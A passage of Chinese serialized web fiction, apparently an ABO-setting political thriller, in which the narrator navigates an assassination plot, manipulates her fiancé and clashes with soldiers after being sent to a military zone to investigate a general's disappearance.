我趁热打铁,“以后也不要趁我和人乱搞的时候翻窗进来好吗?” 阿丽皱眉:“那你什么时候不乱搞?” 啊这,这你就问错人了。 我什么时候不会乱搞呢?这是个严肃的问题,但你都反应了,那我肯定是要回答的,但这个回答嘛,需要一定的时间。具体什么时间呢,就不要去问了。 等把阿丽送走,我总感觉还漏了点什么东西,而且很重要。 按照组织的尿性,明天早上安排卡瑟娜失踪,那么今天晚上就会有事情发生。 “你又在想什么?”阿沐见我眉头紧锁,于是好奇问我。 除了刚开始嘲讽两句,他没有对组织的安排表达任何的反感,反而开始思考前往军事区需要做的准备,拿出本子在那写写画画。 我没有回答阿沐,而是拿着通讯器,以一种莫名的焦躁状态等待着未知的消息。 挂在墙上的闹钟抵达作响,当停留在夜晚十一点时,我终于等到了那让我莫名感到焦躁的信息。 “8月17日晚10点37分,参议院院长被人发现死于家中书房。根据警方的初步调查,确认为刺杀。” 我猛地呼出一口气,“果然。” 阿沐也从我的通讯器看到了信息,见我的样子更奇怪了,“你什么意思?能不能不要老是打哑谜?” 对阿沐我没什么好隐瞒的,说:“组织原定的计划节奏被打乱了,为了确保接下来的计划不被破坏,于是冒着暴露的风险加快进程。” “什么意思?” 我找到一个舒服的位置坐下,一边和卡特勒聊天,一边将已知信息在脑海里过一圈,把我的猜测说出来:“应该是昂撒那边做了什么大动作,让上行城的人差点注意到了组织安插进来的人。罗拉蒂尼……就是首领,她应该是15号之前就察觉到了问题,所以才会把番苏从军事区召回来保护她。而失踪的卡瑟娜,是为了转移上行城人的注意力,让上行城短时间内没空管组织的问题,给组织更多藏匿的时间。” “刺杀参议院院长的是番苏。阿丽说我只要顺利从军事区回来就能接管副院长,那就说明番苏不打算走寻常路,而是走极端。” 阿沐越听越迷糊,“不对吧?参议院院长死了,副院长直接接任不就好了……难不成番苏想要嫁祸给副院长?” “不,她想要的是把另外两个参议员拖下水。”我耐心解释,“副院长反而是最没有嫌疑的人,只要再等一个月她就能上任,好端端杀人做什么?上行城的聪明人最爱胡思乱想,这时候大家怀疑的反而是番苏这几个有力竞选副院长的议员。” 大概是因为要把阿沐也带去军事区吃苦垫背,此刻的我竟然相当有耐心,真是不可思议。 看着阿沐那张虽然没听懂但还是假装听懂的脸,我的思绪又飘回了在无人区挖矿的时候。好吧,不要陷入回忆,那没什么好看的。 “我还是不懂,刺杀院长和你去军事区有什么关系。”阿沐问。 “卡瑟娜失踪或者死亡,卡特勒就直接失去了继承人。卡诺卡是个不中用的omega,那么她为了之前的努力不打水漂,就只能重点栽培我,所以从另一个角度来说我是最大受益者。为了自证清白,我就必须主动调查。”我说道,“而且番苏那么大的动作暴露风险很高,为了将风险降低到最低尽可能保住组织的内部成员,把我转到军事区反而更能放开手脚。” “……好吧。”阿沐艰难地让脑子转了一圈,竟然委屈地把头扭过去,“到底谁上大学,这些学校里都没教,这学还不如不上呢。” 我的思绪被他突如其来的小情绪打断,陷入一阵无语。 算了,alpha男自尊心都这样,让让他得了。 深呼吸一口气,结束了和卡特勒的通信,我说:“现在就看看明天早上是什么情况了。她们到底要干什么,我阻止不了。我去军事区要干什么,也要去了才知道。” 最重要的是,我该怎么防范昂撒。他要是知道我去了军事区,一定会想尽办法弄我,说不定还会搞点卑鄙的手段让我假死之类的,然后强迫我变性成有机物。 想到我和他之间两次的腺体仇恨,我顿时感觉尾椎骨凉飕飕的。 咦惹,不要想了,正常人是无法理解变态的。 所以我想不出来昂撒的手段也很正常。 “先睡吧。”我对阿沐说道。 第二天六点,我才刚刚睁开眼睛,房门就被卡诺卡从外面打开了。 他先是熟练地对我房间内各种装饰指指点点,指挥小林记下来以后更换成符合他审美的东西。然后来到我的衣柜前打开开始挑选今天要穿的衣服。 我承认了,卡诺卡虽然很多时候蠢得清新脱俗,但omega们掌握的技能他都熟练掌握,甚至得心应手。 “你真是讨厌死了。”他看着我在那不紧不慢地刷牙洗漱,不知道为什么又开始发脾气,“这可是我和你第一次一起出现在镜头,你就不能重视点吗?底层人就是底层人,烦死你了。” 阿沐此时也醒来了,听到卡诺卡挑挑拣拣的话,翻了白眼说:“比不上你们omega,一点事就要大惊小怪。” “你在说我?”卡诺卡皱眉,满脸不悦,“如果你不是白无用弟弟,你以为你有资格去参加冠冕仪式吗?你就得对我感恩戴德!” 我没搭理他们两人的争吵,继续翻看通讯器。 经过一个晚上的发酵,各大媒体们已经对刺杀参议院院长的罪魁祸首进行了八百次的揣测。 但番苏是专业的“清洁工”,一个晚上过去了警方不仅没有在现场发现什么有效的证据,还要抽空去安抚院长那小了25岁的omega配偶,以及安抚各种冲上门报道的记者。 看着各大媒体的舆论盛况,我已经能预料到卡瑟娜失踪的消息会让整个上行城陷入什么状态。 死了一个即将退休的参议院院长,只能说是上行城内的政治斗争。但如果死的是团长长女,还是军事区高级军官,那性质可就不一样了。 大家会变得忧心忡忡惶恐不安,猜测是不是叛乱党的人渗透进入了上行城,或者是其他什么惊天阴谋—— 作者有话说:终于开地图要去军事区啦[星星眼]俺们小白以后就是军+政的双重大姥,她的福气还在后头呢[点赞] 第76章 8月18日清晨七点,上行城内最大的教堂外已经人山人海。 普通的群众们站在最外围的地方罚站,伸长了脖子能勉强看见里面的道路。保卫队则是分隔出一条通道提供给各个有资格进入教堂观礼的政客和富人们出入。 负责开车的还是全能型人才小林,阿沐坐在了副驾驶座位上,我和卡诺卡坐在后座。 透过车窗玻璃,我看见很多神态虔诚的信徒正在对教堂的方向祷告。还有一些正在直播的记者正把摄像机对准了通道内缓慢行驶的各种车辆,介绍里面的人。 在这种重大仪式内,哪怕是权贵们入场,都得按照等级顺序来。 最先进入教堂的当然是陪审团,之后才是参议院,再往后便是军事区前来的高级军官,然后是其他政府官员,富人们—— 等车辆终于行驶进入划分出来的地方,我下了车,主动帮卡诺卡抵住上方的位置,牵住他的手走下来。 阿沐跟在我俩身后,看着我和卡诺卡缠在一起的手,嘴角抽了抽。 “可算是来了啊。”海今牵着他的配偶走过来,似乎是庆幸地拍了拍我的肩膀,“昨晚真是心惊胆战的一晚不是吗?院长竟然就被人刺杀了,真怕那个杀手会对其他人下手。” 我也跟着呼出一口气,“我也很害怕,我才刚刚进入参议院一天不到,就闹出了这样的事情,真怕以后还会有其他无辜人受到牵连。” 跟随工作人员的指引,我和海今肩并肩地往前走,而卡诺卡和他的配偶则是默契地走在落后我们一步的位置,做好了omega的本分。 “哎,警方搜查一晚上了,也没找到什么有用的线索。”海今装作无奈地说道,“院长已经接近退休,又会是谁痛下杀手呢?他的配偶甚至没有孩子,家族无人继承,以后会落到什么下场可想而知。” 太阳的光线透过窗户传进走廊,我看着旁边的议员,声音小了些,“海议员的意思,难道是怀疑副院长吗?但没有必要吧?” 海议员的眼神微妙,与我靠近了些,太阳光也被他遮挡住,留下一小片埋在阴暗的侧脸,“白议员,这种时候就不要再装糊涂了。院长死亡,大家最先怀疑的不是副院长,而是我们这几个啊。” 死老登,终于不装啦,是知道再不拉拢我就有可能面临被卡特勒推下去的风险吗? 我继续保持亲切的笑容,“海议员说笑了,我只是个十三席位的议员,现阶段的权利再如何变更也轮不到我吧?何况我已经有了卡诺卡,只要不出意外,我到您这个位置只是时间问题。” 海今的面部肌肉终于有了一瞬间的僵硬,也别我顺利捕捉。 终于破防了吧,哈哈哈。 我又和他靠近了一点,模仿他拍打我肩膀时的力度去拍打他的肩膀,说:“院长死后,你,霍里议员和番议员是最大嫌疑人,也是最大的受益人。你明白这个道理,那其他两人也明白这个道理。” “海议员,不是我不帮你,而是不好帮。霍里议员很得团长的青睐,在我之前甚至想要把诺卡嫁给他。番议员又刚刚从军事区回来,在这个叛乱党嚣张的特殊时期,她的优势也很明显。倒是您,除了你配偶娘家,你还有什么好处给我?” 海今没有说话,我就继续和他分析。 “当然,你也不是完全没有优势。作为第三席位的一员,你才是顺位的接任人。” 海今是完全没了笑容,扯开嘴角说:“白议员,你要真认为我没有希望,昨天就不会和我约定一起走。你说吧,想要我做什么。” 见他走上正轨,我终于满意了,也不再打哑谜,直接说:“你可以直接去找番议员谈,她不会拒绝你。” “番苏?”海今蹙眉,“你什么意思?你难道不是和霍里一起的吗?” “哈哈哈,海议员说笑了。我都把他的订婚对象抢走了,我们怎么可能和平共处呢?”我说这句话时,回头对卡诺卡露出温柔的笑容,然后又转过来对海今说:“而且啊,那可是第四席位。” 海今呼吸放缓了一些,“团长知道么?” “她不知道。”我说,“实话实说,番苏告诉了我一个消息,这个消息对我很不利。我不能坐以待毙,也不能一条退路都不给自己留。海议员,我看好你的能力,所以才和你谈合作。你可以选择拒绝我。但等我后续回来后,不会对你手下留情。” 合作?还是不合作? 海今沉吟片刻,问:“那个消息是什么?对我也有影响吗?” 我微微一笑,“再过不久,你就知道了。” 落下最后一个字,目的地到了。 巨大的彩色玻璃窗覆盖在上空,阳光洒在玻璃后折射出的斑驳形状落在了白色的雕像上。 看不见脸的上帝从上往下俯视来来往往的人,谁也看不清祂在此时到底是何种神色。 负责主持的修女站在雕像的下方,指挥唱诗班儿童吟唱诗歌。 我来到了自己的座位,在胸前画十字,在记者的摄像头下做出宁静虔诚的姿态,跟随唱诗班一起低声吟唱。 “滋啦——” 前方传来了席位的座椅挪动声音。 我睁开双眼,看见了就是隔着好几十个人坐在最前面的卡特勒。 她眼睛死死盯着通讯器,过了好一会忽然扯开一个笑容对身边的人说了什么,然后回头精准找到我的位置。 然后她站起身,朝着我的座位走过来。 “妈妈?”卡诺卡迷茫,“不是快开始了吗?” 卡特勒笑容还是和从前一样亲切有温柔,对我招了招手,“突然想起来有些工作要和无用谈谈。” “那我也要跟着去!”卡诺卡说道。 卡特勒瞥了一眼自己的养子,而后点点头。 坐着的阿沐浑身紧绷在一起,不是很熟练地隐藏自己的表情。 我安抚地拍了拍阿沐的脑袋,“没事,很快就好。” 跟随卡特勒离开教堂,我知道卡瑟娜失踪的消息已经传出来了。 卡特勒现在要做的不仅是迅速压下消息,还得排查我的嫌疑。哪怕我真的是无辜的,她也会好好警告一番。 果然,到了房间后,卡诺卡一关上房门,卡特勒的笑容就垮下来。 但她不是喜欢动用暴力的人,杵着的手杖顶一下又一下地点着地面,发出沉闷的响声。 她就这样冷冷地盯着我,我也任由她盯着,微微垂下头做出老实听话的样子。 卡诺卡被这诡异安静的氛围吓了一跳,左看看右看看,终于意识到妈妈和未婚妻的关系并不如表面上那样和谐,所以脑子宕机完全不知道该怎么反应。 长久的静默后,卡特勒才冷声说:“知道发生了什么吗?” “不知道。”我回答。 卡特勒冷笑,“真不知道,还是假不知道?昨天晚上参议院院长被刺杀开始,到今天瑟娜在军事区失踪,这两件事和你真的一点关系都没有?白无用,你真以为我会相信克斯蒂简那个omega能帮你把六具尸体全部处理干净?” 旁边的卡诺卡脑子里自动识别关键词,“omega?谁?妈妈你说的克斯蒂简和无用有什么关系?” 我沉默不言。 卡特勒这时候倒想起来做个负责任的母亲了,直截了当把我和克斯蒂的关系公开,“你未婚妻的情人,两人上床都不知道多少次了。” 我:说得好直白,要不是我没有羞耻心早就破防了。 卡诺卡像是被卡住了后脖子的猫,一动不动,傻愣愣地站着。 而特意把他教养成这样的卡特勒露出了难得的不耐。 在继承人失踪的问题面前,哪怕是养子都失去了观赏价值。 “白无用,你只有两个选择。”卡特勒冷声说道,“我不在乎你藏在后面的尾巴到底有多少条,我也不在乎你到底和你的情人们在背地里干了什么事情。” “要么,去军事区把卡瑟娜找回来。要么,我就将你送去监狱按照叛乱党的罪名吃子弹。” 我全程都很乖巧,听完她说话后,才熟练地扬起老实憨厚的微笑,说:“当然是选择前者。” “团长,我确实不知道卡瑟娜失踪。我对我的身份很有自知之明,如果不是为了给卡瑟娜铺路,您根本就看不上我。” “不用您给我选择,我也会主动去军事区找她的。往好处想,我提前和未来上司联络感情不是吗?” 见卡特勒依旧冷脸,我收起笑容,表情严肃说:“这里是教堂,团长,作为信徒,我是不会对上帝撒谎的。” 又是一阵长久的安静。 “加冕仪式后就回去收拾东西。”卡特勒说道,“小林跟你去。” “好。”我没有任何意义地答应下来。 卡特勒最后冷冷地瞥我一眼,迈开步伐离开了。 我把头重新抬起来,摸一摸有些酸疼的后脖子。 果然,低头低久了,浑身都不舒服,还是昂首挺胸有利于身心健康。 不过还没应付完。 卡特勒走了,卡诺卡就成了炸弹。 他终于从宕机状态清醒过来,尖叫一声就要扑上来,“白无用!你这个该死的底层人,你怎么可以骗我!” 我手疾眼快抓住他的手,然后直直俯视他的眼睛,对他说:“应该是卡特勒骗你吧。” “妈妈才不会骗我!” “她不骗你会允许我和你订婚?”我反问。 卡特勒主动把关系挑出来恶心我,那我也恶心她。反正今晚我就去军事区,卡诺卡再烦也不能跟着我去军事区烦我。 她自己把omega教养成蠢货,我不利用一下怎么对得起我专职挑拨离间的小白脸身份? 见卡诺卡又陷入呆滞的表情,我又转变了一副温柔无奈的样子,改为捧住他的脸温声细语,“我很高兴,卡诺卡你在乎我。你在吃醋对吗?我喜欢你为我吃醋。” “我确实有情人,但我没有办法。克斯蒂简的家族是军火商,他能替我处理军事区的一些问题。如果没有他,我就走不到你的面前,没法向团长证明我的自己,自然也没法和你订婚。” 被我捧着脸的omega逐渐潜入花言巧语里,本就迟钝的大脑彻底成为浆糊。 我的嘴开开合合,与他拉近距离,嘴唇贴上了他的面颊,却始终在唇角的位置流连不再更进一步。 “我今晚就要去军事区,那么危险的地方,我极有可能回不来了。诺卡,在最后的时间里你也要和我闹吗?” 卡诺卡不闹了,几乎是有些迫不及待地要踮起脚索吻,却被我提前一步拉开距离。 “你烦死了!”他气恼地又踢我一脚,“那个贱人,你必须把他赶走!” “不,不是赶走!你得把他杀掉!等他彻底没用了,把你就要把他送到我的面前,然后枪毙他!” 我保持着温柔无奈的笑容,点头回答,“好。”—— 作者有话说:卡诺卡其实不是生气小白有情人,他是生气小白竟然隐瞒他。 毕竟是卡特勒按照标准教养出来的,对配偶有情人这件事接受程度超级高。 所以卡诺卡要的就是可以随便对情人打打杀杀的大公权利,就“你们都是爬床上来的玩具,但我是她的法定配偶”这种思想[点赞] 第77章 我算是见识到了什么就叫全自动ATM提款机。 整个加冕仪式,罗拉蒂尼只要稍微说两句话,再代表上帝宽恕拯救一下信徒,信徒们就会哭天喊地地高举钞票。 我看着教堂内负责收钱的工作人员,都替他们手软。 然后又想到我刚刚上任两天不到,工资都还没发就要被卡特勒丢去军事区调查失踪案,就感觉心肌梗塞。 天杀的,哪怕我到这个位置了也还是没有钱,这对吗? 当天晚上,我身心疲惫地回到别墅,让小林和阿沐一起收拾东西。 “白议员,您看看还有什么缺漏吗?”小林提着行李箱站在门口问我。 我左看看右看看,最后甩甩手,“没有,我在这也没住几天。” 阿沐的东西也很少,三分之二都是学校要用的书籍。 看着他的书本,我随手拿起一本画本翻开来,然后被里面的鬼画符弄得头晕目眩。 “什么东西?”我问。 “设计图。”阿沐头也不抬回答,“我准备的毕业设计,刚刚完成了二分之一。原本是打算拿去参赛的,但导师把名额给了其他人。” 听到他这么说,我了然。 一个无权无势的孤儿,好不容易得*到的参赛资格却被别人以权谋私拿走了,哪怕是在克亚区也屡见不鲜。 不过阿沐对此情绪起伏不大,可见并不在意。 我则是强行把那股子头晕目眩甩掉,上了车后开始仔细观察这一张设计图。 和我一起长大的阿沐性格与我有些相似,那就是多疑。 已经发生过被人抢走参赛名额的事情,为了确保设计图不会被人抄袭剽窃,设计图上的重要参数都用只有我和他知道的符号标记。 仔仔细细观察完后,我放缓了呼吸,把画本还给阿沐,“带过去也好好设计吧,等回到上行城,这张设计图会有用的。” “好。”阿沐点头。 小林最后检查了一遍行礼,打开车门进入驾驶座,“我们出发了,白议员。” “嗯,走吧。” 车辆启动,朝着军事区关卡行驶而去。 车辆行驶的时间很长,我无聊地刷通讯器。 经过四个小时的发酵,卡瑟娜在军事区失踪的消息彻底压制不住爆发出来,众人陷入一种微妙的惶恐中。 卡瑟娜头顶的光环太重了。 陪审团团长继承人,军事区掌握实权的高级军官,又是对抗叛乱党奔赴前线的将军之一。就连这样身份的人都面临生命危险,何况是其他人呢? 我滑到最大的媒体,点进去,首先看见的是出面安抚上行城公民的卡特勒。 她的言语并不华丽,用最简洁的语气说出了此时应对的措施,同样也将派遣我前往军事区调查失踪案的消息放出来,让大家稍安勿躁。 “把我往高台上架,我要是没找到人,就只能以死谢罪了。”我苦中作乐笑起来。 小林正在专心开车,透过后视镜我看见她复杂在的表情。 她欲言又止,最后还是什么都没说。 大人物之间的权利斗争她没有权利参与,能做的就是听从命令。 8月18日晚上11点30分左右,终于到达了军事区关卡。 我给负责看守的军人递上卡特勒亲笔签名的通行证,“麻烦了。” 负责看守的军人是一位面容冷硬的alpha,是上次我来关卡时看见的熟人面孔。 他翻开通行证仔细检查一遍,才恭恭敬敬的双手还给我。 前方的三道门槛发出沉重卡顿的声响,然后缓缓抬高,露出里面的景象。 军事区的景象像是一块块拼图在我的脑子里填补。 当我看见外面那些残缺的建筑我,鼻腔仿佛也围绕上了硝烟的气味,直冲脑门,简直比香烟的味道还呛鼻。 路过了几个正在休息的军人,我看见了他们的眼神。 那是一种很微妙的鄙夷和优越感,但又有些两眼放光,好像在看什么新奇的猎物,正蠢蠢欲动上下打量。 之前没概念,今天我才算是明白上行城和军事区两方对彼此多么不顺眼。 这会是真他爸的羊入虎口了,不知道现在打电话给阿丽让她带我逃走回组织能不能行。 车辆又行驶了半个小时,停留在一栋灰色的建筑物外。 门口已经站着两位身穿军装的alpha女性。 她们都没什么表情,站在台阶上睥睨地看过来,丝毫没有上前寒暄的意思。 而小林下了车后,先替我和阿沐打开车门,然后才提上公文包来到两位军人面前递上文件。 “这是团长提供的文书,麻烦两位了。”小林说道。 其中一位较高的军人扯开一个冷飕飕的笑容,将文件推回去,“不用看了,团长亲自点头送过来的人,我们自然会好好招待。” 好嘛,这样子看起来真的恨不待见我。 一切从零开始,小白太苦了。 整理好心情,我熟练端起憨厚老实的微笑。 各个地方都有不同的活法,职业小白脸上线告诉大家为了生存要怎么灵活修改剧本以及愉快地把黑锅甩给别人。 看好了啊,现在我就是一个被推出来的可怜无辜beta。 “你好,我是白无用。”我一副老实面相地搓了搓手,然后朝她伸出右手,“我后面的是我的弟弟,白无垠。” alpha军人个子很高就算和我站在一个台阶上也比我高了一个头。 那扑面而来的硝烟味道冲入我的鼻腔,不同于政客们暗地里拉踩的勾心斗角,这是一种出于原始暴力的危险。 她的表情依旧冷飕飕,垂眸看了看我伸出来的右手,又在我憨厚的笑脸上徘徊两圈,才伸出手和我握住。 很厚的一层茧子。 而她和我相握的下一秒,打量我的眼神微微变了些。 她也察觉到我手掌心的茧子非同寻常。 “古奇伽,我的姓氏。”她说道,“中士头衔。” 古奇伽身旁的alpha女性是她的直系下属,看着才二十出头,一副毛头小子的模样,瞧着相当看不起我。 “时间不早,先去休息吧。”古奇伽说道。 我立刻提上行李箱,跟随两人的步伐进入建筑物。 军事区的环境确实不如上行城,要对比的话其实只比贫民窟好一些。 往窄小的窗户外看去,还能看见远处的架起的各种热武器,以及没来得及修缮的建筑。 分配给我的房间很小,只有二十平左右。 一张床,一套桌椅,用于洗漱上厕所的一平米洗漱间,还有一个简单的落地书架。窗户也是小小的一个,不知道的还以为是在坐牢。 但考虑到这里是随时可能爆发冲突的军事区,这样的条件竟然算不错。 “十分感谢。”我回头认真对古奇伽说道。 “嗯。”古奇伽微微颔首,指了指墙上的时间表,“来到这里,一切按照上面的作息进行。错过时间,没有人会迁就你们。” “我明白。” 看看时间,已经十二点多,该休息了。 古奇伽不是话多的人,能交代的都交代了,她就挥挥手示意下属离开。 我和阿沐提着行李箱站在房间门口目送她们离开。 等快过转角,古奇伽的下属突然把头转回来,朝我露出一个充满挑衅意味的笑容,然后对我竖起了中指。 “小白脸。”她用口型说道。 哟,她知道我是上门媳妇啦。 我微微一笑,也给她回敬了一个中指。 不就是竖中指嘛,搞得谁不会似的。 不仅竖中指,我还做了个贫民窟骂人专用手势,相当肮脏下流,直接把她看愣了,一副不敢置信的样子。 嘻嘻,破防了吧? 阿沐见人走了,没忍住撇嘴,“她们什么态度啊,冷脸给谁看?” 我摸一摸他的狗头,“掌握实权的军人,当然看不起我这个只会勾心斗角弯弯绕绕的政客。她们是真的拿命赚军功,我们上行城的人只要出点钱谁都能当人上人。” 看一眼时间表,我揉了揉手掌。 古奇伽的力气真的好大,刚才忍着没出声,现在没其他人里我立刻龇牙咧嘴。 把阿沐赶出房间,我往床上一趟,开始思考组织的人接下来要做什么。 我两手空空得过来,人生地不熟。 阿沐没多少脑子,小林是卡特勒的人不能经常用,军人们又看我不爽。 我透的,简直寸步难行,死了算了! 开玩笑的,我要祸害千年来着。 “算了,好好睡一觉,有什么事明天再说。”我自言自语,被子一盖就睡觉了。 翌日清晨六点,我睁开眼睛刷牙洗漱。 外面的悠长的军号天还没亮就开始响,不想睁眼都必须睁眼了。 一打开门,我就和女人对上视线。 她挑眉,原本准备踢门的腿收回去,“哇哦,我还以为上行城来的政客会一觉睡到大中午呢。” 我看一眼她的胸牌:卡萨古奇伽 “让你失望了。”我说道,“我的生物钟一向准时。” 卡萨嗤笑一声,“中士没时间搭理你,今天我负责带你参观。” “先去食堂。”我说,“我肚子饿了。” 面对沉不住气的年轻人,一味地退让没有意义,反而会让她们陷入更烦躁的状态,还不如直截了当地表达需求,反而会让她们得到“被重视”的感觉。 青少年嘛,都一个样子。 年轻气盛的alpha又哼一声,转身快步往前走,“走了,跟不上来我可不管你。” 军队内纪律严格,就算是人最多的早高峰时期,食堂内也只有窃窃私语。 路过的人若有若无地把视线投向我,隐约又兴奋地打量,不约而同地等待一个时机。 领取餐盘,拿上饭票,然后来到取餐口排队。 我身边的卡萨反复地用余光瞥我,原本按压下去的焦躁又浮现出来,寻找着一个能够用来挑衅的借口。 我偏不,我就是要乖乖地打饭吃饭。 然而我又犯了经验主义错误。 军事区不是上行城,更不是大家都很窘迫的贫民窟。 面对一群血气方刚的军人,参议员的身份非但不能威慑,反而会成为大家的靶子。 所以吃完早餐,卡萨领着我去训练场地逛一圈后,我成功被某个士兵不小心“擦枪走火”击中了面颊。 我抬手,用手指摸了摸,是一股刺痛。 艹,自打离开贫民窟我就一直在受伤和打架,还得小心翼翼假装自己是一头好欺负的绵羊。 小林这时候已经找到训练场来,正好目睹了这一幕,被吓得有些面色苍白。 毕竟是生活在城内的人,没见识过真枪实弹,被吓到很正常。 “抱歉,上行城拨过来的军费太少,我们用的枪械没法保养。”卡萨嘴角又勾起了恶意挑衅的微笑,“白议员大度,会原谅我们的吧?” 那个“擦枪走火”的士兵也跟着放声大笑起来,“抱歉抱歉,我也没想到白议员那么不经吓。要是您实在害怕,下次还是别来了。” 小林站在我身后吞了口唾沫,见我盯着染了血的手一动不动,于是小声提议,“我们,还是走吧……” “小林,被吓到了?”我反问。 小林一愣,立马把头垂下去,没敢说话。 我则是笑容灿烂地看向卡萨,“小年轻,你把我助理吓到了。” 同样才23岁的卡萨面色一变,“你他爸的侮辱谁呢?” “我说错了?”我露出疑惑的表情,走进她笑容更灿烂,“靠着古奇伽中士才掌握了点权利的小alpha,不是被庇护的小年轻是什么?” 此话一出,训练场陷入诡异的安静。 卡萨忍无可忍,盯着我笑容灿烂的脸终于要抬起手臂。 几乎是她动手的下一秒,别在她腰间的枪被我以极快的速度拔出来然后对准了那个开枪的士兵扣动扳机! “砰!” “我草你大爷!”开枪的士兵慌忙躲开,却还是不小心被击中面颊,顿时破口大骂。 而我则是一只手按着卡萨,一只手挂着枪,“你们把我的助理吓到了,没点表示吗?” 去你大爸的隐忍,忍个屁! 这狗屎地方谁老实谁就被欺负,还不如一开始就打一架来的痛快!—— 作者有话说:我来晚了,今天搭房子搭上瘾了咳咳 第78章 番苏说得没错,我确实应该来军事区好好练练。 无人区,贫民窟,以及上行城这三个地方的打架方式各有不同,我在昂撒的教导下又凭借自身摸索出一套我自己的打架套路。 但到了军事区,我这点招数就不够用了。 每天都处于高度紧张,精神压力巨大的alpha士兵们无论是力气还是敏捷程度都比以上三个地区高出好几个度。 尤其是年纪轻轻就能拿到军功的士兵,其反应能力和招数不是我这种偶尔才杀几个人的beta能比的。 何况她们不讲武德,上来围殴我。 这合理吗? 一群牛高马大经验丰富的alpha围殴我一个beta,脸都不要了? 那我也只能不要脸了。 “我草!你松手!” “她掏我胸!” “我草你大爸的,你们玩政治的心都脏!” 场面一度混乱,小林慌不择路地跑出训练场找人。 而我和卡萨则是相互纠缠着倒在地上,双方都朝着对人体身上最疼的地方下死手,手脚并用甚至用上了牙齿,谁都不服谁。 周围的士兵们眼看再这样下去就得出大问题,挑衅忘了也矛盾忘了,七手八脚地要把我和卡萨分开来。但这时候我和卡萨力气大得可怕,强力胶水黏在一起似的压根分不开。 也不知道这样缠了多久,小林匆匆忙忙带着古奇伽来到训练场。 “哔——” 只听尖锐刺耳的口哨声一响,所有士兵下意识地松开了手,卡萨更是浑身一个机灵松开我,然后一脚把我踢开,手忙脚乱地爬起来对古奇伽行礼,“中士!” 我被卡萨踹一脚撞到了旁边的架子上,顿时疼得龇牙咧嘴。 “白议员,您没事吧?”小林赶忙过来搀扶我。 我扶着脑袋站起来。 古奇伽看也没看我,径直走到卡萨的面前低头看着她,“说,怎么回事?” 卡萨露出愤愤不平地神色,“是她先挑衅……” 古奇伽立刻失去了听下去的想法,开口打断:“训练场上所有人,去操场跑五十圈。” 此话一出,士兵们立刻像是鹌鹑一样瑟缩着脑袋拖着步伐离开训练场。 卡萨还哽着脖子不服气,想再辩驳几句,却被古奇伽一个眼神吓住了,最后只能撇嘴灰溜溜地去跑圈。 路过我时,她还恶狠狠地对我小声威胁,“下次你等着,我绝对搞你!” 我学她刚才撇嘴的表情,挑衅意味十足,“哇哦,好厉害哦,你先把五十圈跑完再说吧。” 把卡萨送走,我揉一揉面颊上的伤口,对古奇伽又变成了老实憨厚的样子,“其实可以解释。” “我会看监控。”古奇伽说道,“先去医务室处理伤口。” “麻烦了。” 处理伤口的过程,古奇伽和医生小声聊了几句,之后在过来看我。 我和她就这么对视几秒,她忽然说:“下午两点,我会把将军失踪前的细节整理好交给你。另外,现在特殊时期,无论哪个地方都不安全,我会让卡萨贴身跟随保护你。你想去什么地方调查都可以,我不会阻止。” 说完一长串,古奇伽抿了抿唇,看着我的眼神里多了几分郑重严肃,“我只有一件事,你找到任何相关的线索,务必告诉我。” “她是一位令人尊敬的将军,就算是死,我也希望她魂归故里。” 我一时间有些失语。 古奇伽看起来三十出头,面容严肃冷硬,身材高大,是一位标准的alpha军官。 我很清楚古奇伽不是多么尊重我,只是认真对待一个有希望找到卡瑟娜的人。这个人是谁不重要,重要的是有没有用。 如果我只是过来混日子小白脸政客,她绝对不会向我露出这幅表情。 等军医替我处理好手臂上的伤,我站起来和她对视。 “好。”我说道。 下午两点,小林就把资料全部都拿过来了。 我坐在自己的简陋小板凳上,一页一页地翻开。 卡瑟娜失踪是组织安排的任务,我就算把整个军事区翻过来也找不到她人在哪。所以我现在最重要的任务不是寻找卡瑟娜,而是弄清楚昂撒在军事区的动向,以及去了解前线坍塌下来的矿洞是怎么回事。 摩挲着纸张,我翻开其中一页。 卡瑟娜被人发现失踪时间是8月18日清晨八点,经过一个多小时传到了卡特勒的耳中。保守估计,卡瑟娜在组织的安排下可能18日的凌晨就已经隐藏起来了。再把时间往前推,推到16日番苏杀掉神职成员的那一晚,我笃定那时候组织计划没有变。也就是说,昂撒的行动在17日当天,组织最短一天的时间内反应过来迅速调整计划加快节奏。 所以,17号军事区发生了什么? 我能知道吗?如果问古奇伽,她会如实告诉我,而不是把我当成叛乱党卧底抓起来枪毙? 我立刻头疼起来。 难怪让抠门的组织愿意发奖金和报销一万零一百块,危及生命的事情能不给点奖励吗?我要是一个不小心,把卡瑟娜隐藏的身份暴露出来,那就是牵一发动全身,整个组织都得受我牵连,亏她们放心把事情交给我。 待在房间里是思考不出来的,我干脆把资料合上,做了个简单的舒展运动,“卡萨那个小年轻呢?” 说起人,人就在门口了。 她刚刚跑完五十圈,浑身狼狈地连伤口都来不及处理,顶着鼻青脸肿一张脸冷飕飕地站在门口。 “来得正好,带我去矿洞。”我直截了当提出要求。 卡萨像是听见什么上行城笑话一样,“你找死?” “古奇伽中士说我想去哪里都可以。而你的工作是负责保护我,不是管我。” 年轻的alpha一下子就跟吃了屎一样如鲠在喉,面色难看又强行压着怒火不敢反驳。见我坚持,她只能咬牙切齿地从牙缝里挤出来一句话,“很危险,必须向上申请权限。” 矿洞的位置位于前线中央地带。 由于最开始的谈判失败,双方彻底撕破脸破都想要把整个矿洞收入囊中。在如今战场局势不明显的情况下,只能默契地画下一条粗制滥造的分割线,各自派遣巡逻士兵防止对方偷偷搞小动作。 但兵不厌诈,能抓到机会搞偷袭就一定会偷袭。 我从公开的资料上就看见,从15日到今天19日短短四天不到的时间,双方围绕矿洞周围搞的偷袭次数就多达十三次。 所以不仅要向上申请前往矿洞的权限,还得贴身保护我确认偷袭期间我不会被打死。 古奇伽亲自过来问我:“你确认能在里面找到卡将军失踪的线索吗?” “实话实说,我不确定。” 没有得到想要的答案,古奇伽没有多失望,就回复三个字,“不允许。” 我没有纠缠,问出下一个问题,“8月17日当天,叛乱党有什么动作,其首领昂撒是否出现在前线?” 中士皱起眉头,“你问这个做什么?” 我回望她,“您难道没有怀疑过将军失踪是叛乱党干的吗?” 古奇伽当然怀疑过,随着时间推移,她对叛乱党的怀疑就越深。 但是战场变幻莫测,没有十足的把握冒然行动只会增大风险。 这就是她没有同意的原因。 我继续劝说古奇伽,“你代表的是军事区,是和叛乱党对线的主力,自然不能为了没有定论的事情轻举妄动。但我代表的是上行城的陪审团团长,身份是参议员。以我个人名义去调查,并不直接影响你们的局势。” 又是一阵安静。 alpha中士的手边是军事区地图,上面摆满了密密麻麻代表不同区域和战况的旗子。 